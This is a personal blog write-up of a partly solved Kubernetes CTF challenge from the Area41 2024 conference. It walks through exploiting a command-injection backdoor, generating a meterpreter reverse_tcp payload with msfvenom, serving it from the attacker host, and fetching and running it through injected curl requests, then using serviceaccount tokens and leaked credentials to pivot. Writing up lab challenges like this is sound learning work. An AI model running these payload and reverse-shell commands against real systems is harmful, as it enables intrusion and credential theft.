This year's (2024) Area41 security conference was amazing as always. One of the sponsors, Redguard AG announced a Kubernetes CTF challenge to be solved during the conference. My k8s knowledge being very limited, and the offered prizes looking awesome, I decided to take my chances. Unfortunately, I gave up before achieving the solution, because it had already stolen too much sleep. I still wanted to document the process to capture the gained knowledge for later reference.
After registering with my address on the challenge page, I received the following instructions by email:
Your Kubernetes Challenge instance is now available at the following IP address: xxx.xxx.xxx.xxx. Point your /etc/hosts for hello-world.tld to xxx.xxx.xxx.xxx. After you've done this "https://hello-world.tld/" will be your starting point. Try to get full access to the master node and if you've found the flag at the end of the challenge (look for /root/flag.txt), please submit it at https://k8s-challenge.redguard.ch/flag?email=cookie@monster.com Best of luck! The Redguard Team
Reconnaissance
I first performed a port scan using nmap to
identify any exposed services on the target system. Several ports exposed a TLS connection. Their X.509 certificate attributes
contained interesting information about the internal network setup. It's
obviously a minikube setup with two nodes: 192.168.49.2 and 192.168.49.3, which I assumed to be the master node (the final target) and a worker node respectively.
The Kubernetes API seems to be exposed on port 32769, but access is protected:
Exploitation
After setting up Burp Suite with a hostname resolution override for hello-world.tld pointing to the specified IP address, I visited the target on port 443, which already provided the first hint:
I guessed that the author published a Docker image on dockerhub, by the name of disenchant/vulnerable-app-demo.
After pulling and running the image on my local Docker server, the vulnerability (aka backdoor) was easily identified in the index.php file. The code provides an OS command injection via the shell parameter.
I decided to dust off my Metasploit skills and to use a reverse_tcp meterpreter to gain initial access on the target system:
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f elf > reverse.elf
I provided the binary on my attacking host with an ad-hoc web server using the Python http.server module:
# python3 -m http.server
Then, using the curl in the command injection, we can download the payload and make it executable:
# curl -k https://hello-world.tld/?shell=curl%20-o%2Ftmp%2Freverse.elf%20http%3A%2F%2Fxxx.xxx.xxx.xxx%2Freverse.elf
# curl -k https://hello-world.tld/?shell=chmod%20755%20%2Ftmp%2Freverse.elf
On the attacker side, start the Metasploit exploit/multi/handler module and then run the payload on the target to make it call home:
# curl -k https://hello-world.tld/?shell=%2Ftmp%2Freverse.elf
Post-Exploitation
restricted-viewer @ vulnerable-app-demo
Once on the host, let's look around at what we can find:
In addition, running linpeas gives a good overview of all interesting artifacts. For example, we could already identify the Kubernetes environment variables:
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
The script also provided the location of the serviceaccount token under /run/secrets/kubernetes.io/serviceaccount/token. This will allow us to authenticate against the Kubernetes API. I downloaded the kubectl to work with the API from the command line. We can now query the identity and permissions of this first serviceaccount token.
The serviceaccount is named restricted-viewer, and as it describes, it only allows to list the namespaces, nodes and pods:
Here's another hint, that we might look at the other namespaces as well. We now discover, that the serviceaccount has additional permissions to see the logs in the jobs namespace.
The jobs namespace contains pods that will repeatedly execute a certain task. Let's see if we can find anything out from the logs, since we are allowed to list them:
Bingo, we got some credentials!pod-executer @ openssh-server
Now let's try and connect to this machine. Unfortunately, the shell provided by metasploit does not offer a full terminal emulation. Also, the www-data user from the nginx pod does not have write privileges in the home directory, which ssh requires by default to write the known_hosts file in the .ssh directory. Therefore, I catched up about pivoting with Metasploit, and created a SOCKS5 proxy that I used to connect from my attacker machine.
Now we see that with this new serviceaccount token, we have new permissions to execute commands in existing pods:
This is where we get the third serviceaccount token: